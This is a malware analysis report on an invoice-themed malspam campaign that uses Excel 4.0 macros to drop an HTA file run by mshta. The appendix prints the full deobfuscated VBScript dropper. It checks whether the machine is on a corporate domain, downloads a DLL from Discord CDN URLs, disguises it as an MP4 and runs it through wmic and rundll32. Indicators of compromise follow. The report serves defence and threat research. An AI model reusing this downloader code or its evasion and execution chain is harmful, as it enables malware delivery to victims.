By Alexandre Siviero

The campaign that distributes malware through Excel spreadsheets is ongoing. The distribution is through e-mails in English that allude to invoices and pending payments. Some of the issues observed:

We follow with a static inspection of the content to understand how it works.

Malicious spreadsheet analysis (maldoc)

As immediate interesting points, we have the absence of a VBA Project (macros in VBA); and the presence of two images.

The images extracted from the document are these:

Employing blurred images is a common social engineering tactic to convince the user to enable the contents of a malicious document. The red rectangle promises to display the picture out of focus - it is probably an interactive button.

The absence of VBA macros suggests the existence of macros of type XLM (Excel 4.0 macros). You can confirm this hypothesis by inspecting the contents of docProps/app.xml:

Inspecting such macros, you notice a character-by-character writing action in the file C:\ProgramDataexcel.rtf.

How the malicious spreadsheet works

We point out how macros from a legacy version of Excel create an rtf file in the C:\ProgramData directory. We undertake a dynamic analysis to understand which user interaction triggers this behavior.

Just as we theorized in the static analysis, the red rectangle is an interactive button. Clicking it brings up a popup. When you click Ok, the macro is fired, creates the rtf file, and executes it through the legitimate binary mshta.exe, in a technique known as Signed Binary Proxy Execution.

Parsing excel.rtf

The document created in C:\ProgramData contains HTML code accompanied by a script:

In short, the HTML part serves only to guide an apparent windowless execution of the VBScript code. Given the obfuscation employed in the script, we have abandoned static analysis in favor of debugging via Visual Studio. This link details how to set up such a program for debugging this type of script.

VBScript - debugging and de-bugging

The obfuscation techniques employed by the author are common for VBScript code. They involve concatenating several smaller parts of a term to form the desired strings - as seen in "ht" & "tp" to form "http " - and using the Chr() function instead of characters. Debugging allows us to inspect the contents of variables without first unsuspending the code.

Highlighted above is a URL of a Discord CDN (a messaging and streaming application whose content distribution network is commonly used by malicious actors for malware distribution), contained in the joPaSNk variable. It is mentioned in the following section of code:

For Each joPaSNk in Array

We understand from this that the script has a number of URLs for payload distribution, arranged in an array and loaded into joPaSNk as part of a loop. Other useful information is taken from the Type column of the variables:

YjZKOWNh is a variable of the type FileSystem3

fSGNJRgUYURjpWX is a variable of the type ServerXMLHTTPRequest2

We conducted the entire analysis through the debugger. However, to make it easier for the reader to understand how the script works, we have manually de-bugged it. From here on we will focus all explanations on the de-bugged version, available in its entirety in the appendix of this report.

How VBScript works

The first step of the code consists of taking the values from the variables %LOGONSERVER% and %USERDOMAIN%, formatting them to keep only text, and comparing them:

LOGONSERVER = Replace(WshShell.expandenvironmentstrings("%LOGONSERVER%"),"/","")

USERDOMAIN = WshShell.expandenvironmentstrings("%USERDOMAIN%")

If LCase(LOGONSERVER) <> LCase(USERDOMAIN) Then

If the two variables are identical, the script terminates activities without taking any action. One scenario where the variables are different is in domain authentication; we understand this comparison as a method to determine if the target asset is part of a corporate network. If so, execution proceeds to the loop with the payload distribution URLs.

It then checks for the existence of the payload in the system:

Set FILE = CreateObject("Scripting.FileSystemObject")

If Not FILE.FileExists("C:\ProgramDataehiActivScp.mp4") Then

If not, the script sends a GET request to the current URL, then checks the response code and the length of the page content:

If ServerXML.Status = 199+1 And Len(ServerXML.ResponseBody)>500+500 Then Looking at the contents of the variable during debugging helps to better understand what is being checked in the above code.

Status is the HTTP status code; for 199+1, the script looks for code 200 (OK). It then checks to see if the ResponseBody field is longer than a thousand bytes. At the time of our analysis, all URLs contained in the scripts generated by the malicious spreadsheets had already gone offline. As a workaround, we changed the status check and response length to allow the execution to continue. The content is then saved to an MP4 file extension:

.write ServerXML.responseBody

.savetofile "C:\ProgramDataActivScp.mp4", 2

Finally, WMIC is employed to execute the payload that has been saved as MP4:

.Exec("wmic process call create 'rundll32.exe C:\ProgramDataehiActivScp.mp4 KdSendPacket'")

The use of rundll32.exe shows that, despite the multimedia file extension, the payload consists of a DLL. It is interesting to note the exported function that is supplied as parameter, KdSendPacket. This is one of the functions of a DLL used for Windows debugging, KDCOM.dll (more details available at this link). It is possible that this name was chosen for the export as a way to disguise the malicious nature of the payload. That said, as it has not been possible to obtain the final payload, it is not possible to be certain about this hypothesis.

We also point out that there is no evidence of steganography (hiding files or code inside other legitimate files) being employed for this script - despite the MP4 extension, the downloaded payload is just a DLL, not a video with hidden malicious content.

Similar Campaigns

After our analysis of this campaign, we set out to search for similar incidents. This led us to a campaign in South Korea detected by analysts at ASEC (part of South Korea's AhnLab). Details of the analysis undertaken by them are available on this blog. Despite differences in the payload length, the directory involved, execution order of the processes in the infection chain and the VBScript content are very similar to their counterparts detailed in this report. Thus, it is possible that the campaign analyzed here is a global evolution of the one observed by ASEC in South Korea.

Conclusion?

Even with the final payload unavailable, we are safe in classifying this campaign as malspam, or mass messaging for malware dissemination. This verdict is based on the tactics employed along the infection chain that we have detailed. These include social engineering used in the subject line of emails and in the content of spreadsheets to trick the user into enabling the execution of hidden macros, and the use of signed Windows binaries to disguise as legitimate activity the execution of malicious scripts and the creation of new processes.

Also, the high level of obfuscation in such scripts to make it difficult to understand how they work, and the focus on corporate network environments, as demonstrated by comparing the %LOGONSERVER% and %USERDOMAIN% variables. This practice can also be understood as sandbox evasion, since most virtualized environments do not meet the requirements for full script execution.

Finally, the attempt to hide the real nature of the content downloaded from Discord's CDN by assigning a DLL the extension MP4.

Commitment Indicators

Despite occasional transformations of VBScript according to the malicious spreadsheet that generated it (such as URLs reached, variable and file names), some constants remain. These are:

Execution of the script via mshta.exe, from an Excel instance:

EXCEL.EXE

• mshta C:\ProgramDataexcel.rtf

We harvest the following URLs from the VBScripts generated by the spreadsheets:

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904715860067880971/YVJeKTz.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904712905503694908/bgWpYuud.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904717176475369492/GtSXFpZWO.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904718207800193024/TLoFily.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904711819027968020/DAdvElBUI.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904713407461228606/yNhdJElO.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904710761862012928/hyAzfogFWvV.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904711841089982484/qQuMFUiNS.png"

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904715027980890122/CtBsHSRdVZFrs.png"

This listing is not exhaustive, but a directory of this CDN is a constant in the campaign and can be employed as an IOC:

hxxps://cdn.discordapp.com/attachments/904686926488039467

Although the name assigned to the payload changes from one script to another, its directory and the export called are a constant. Thus, it is worth checking any instances of rundll32.exe created by mshta.exe and involving files in C:\ProgramData\

mshta C:\ProgramDataexcel.rtf

rundll32.exe C:\ProgramData[payload].mp4 KdSendPacket

The following indicators are directly related to the emails we collected from this campaign. Given the degree of variation in the samples, we understand them to be less robust than the relationships between processes, directories, and exports noted above.

Attachments:

Invoice-947266_20211101.xlsb 850dddc82095f90de967252a2812a19e1d5762c6ff3cd5d2a5a270ff49a70d5d4

Invoice-75514_20211101.xlsb 202b48f6cc80358cd1df38184dab0e39f2c77279ca5420ce3156153e7256f7ef

Invoice-0015_20211101.xlsb 63d6a0e3640ae5fe70237650206e409503cd9d27be96b1c4bb61aaaaddb51962

Invoice-903721_20211101.xlsb 2a379d2d94b2fb5ae5f372a525edcfebc9dbf3b3e11442cf65d17b31ddd99b080

Invoice-7105_20211101.xlsb 38db1b91257b0aa74a68e8629410a346e44c7db3304aa1a1f1c2414c9a77e0dc

Invoice-45456_20211101.xlsb b62144627edfbd279310b43eb82f997ff20cfe1362b356c4b00f2fe48b091dda

Invoice-7105_20211101.xlsb 38db1b91257b0aa74a68e8629410a346e44c7db3304aa1a1f1c2414c9a77e0dc

Invoice-7923_20211101.xlsb ca6112ee5eefa7a2ef1552e903c7f092510f2df012a4ab277b20200ee0b09e7c

Invoice-062505962_20211101.xlsb 8deea67ab06de26900004f4d3eca6b079e7991a02b2c466db9f6fdbae347d466

Invoice-3726645171_20211101.xlsb dd8695056a835457b9c0c208fb35b8ecc43344aac5b0254ffe183179e2f9e0c2

Invoice-04910947_20211101.xlsb 0ef5a64b9a99d87caa1920b68061cfb675bf0ab265cf2baa27a2f2b7a6dc6a72

Senders:

info@northamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

service@northamerica.rushhourflight.com

service@southamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

service@usa.apexlegendspro.com

service@southamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

Subjects:

Re: Approve Inv #61436

Re: Invoice #5667-review

Re: #164270 Invoice

Re: Due.Inv.#65134658

Re: #07690 Invoice

Re: Due.Inv.#0514630

Re: Acct No.4031687 Payment

Re: Invoice #7492363-review

Re: Due.Inv.#27586

Re: PO #26858938 Due 25-10-2021

APPENDIX

HTML content of an excel.rtf:

<!DOCTYPE html>

<html>

<head>

<HTA:APPLICATION ID=”CS”

APPLICATIONNAME="Test"

WINDOWSTATE="minimize

MAXIMIZEBUTTON="no

MINIMIZEBUTTON="no

CAPTION="no"

SHOWINTASKBAR="no">

<script type=”text/vbscript” LANGUAGE=”VBScript” >

[VBScript]

</script>

</head>

<body>

</body>

</html>

VBScript de-fuscated:

Set WshShell = CreateObject("Wscript.Shell")

LOGONSERVER = Replace(WshShell.expandenvironmentstrings("%LOGONSERVER%"),"\","")

USERDOMAIN = WshShell.expandenvironmentstrings("%USERDOMAIN%")

If LCase(LOGONSERVER) <> LCase(USERDOMAIN) Then

For Each URL in Array(“https://cdn.discordapp.com/attachments/904686926488039467/904715860067880971/YVJeKTz.png” , “https://cdn.discordapp.com/attachments/904686926488039467/904712905503694908/bgWpYuud.png” , “https://cdn.discordapp.com/attachments/904686926488039467/904717176475369492/GtSXFpZWO.png”)    

    Set FILE = CreateObject("Scripting.FileSystemObject")

    If Not FILE.FileExists("C:\ProgramDataehiActivScp.mp4") Then

    Set ServerXML = createobject("MSXML2.ServerXMLHTTP.6.0")    

    Set AdoStream = createobject("Adodb.Stream")

    ServerXML.Open "GET", URL, False

    ServerXML.Send

    If ServerXML.Status = 199+1 And Len(ServerXML.ResponseBody)>500+500 Then

         with AdoStream

            .type = 1

            .open

            .write ServerXML.responseBody

            .savetofile "C:\ProgramDataActivScp.mp4", 2

            .close 

        end with

        With CreateObject("Wscript.Shell")

            .Exec("wmic process call create 'rundll32.exe C:\ProgramDataehiActivScp.mp4 KdSendPacket'")

        End With

        Exit For

    End If

    End If

Next

End If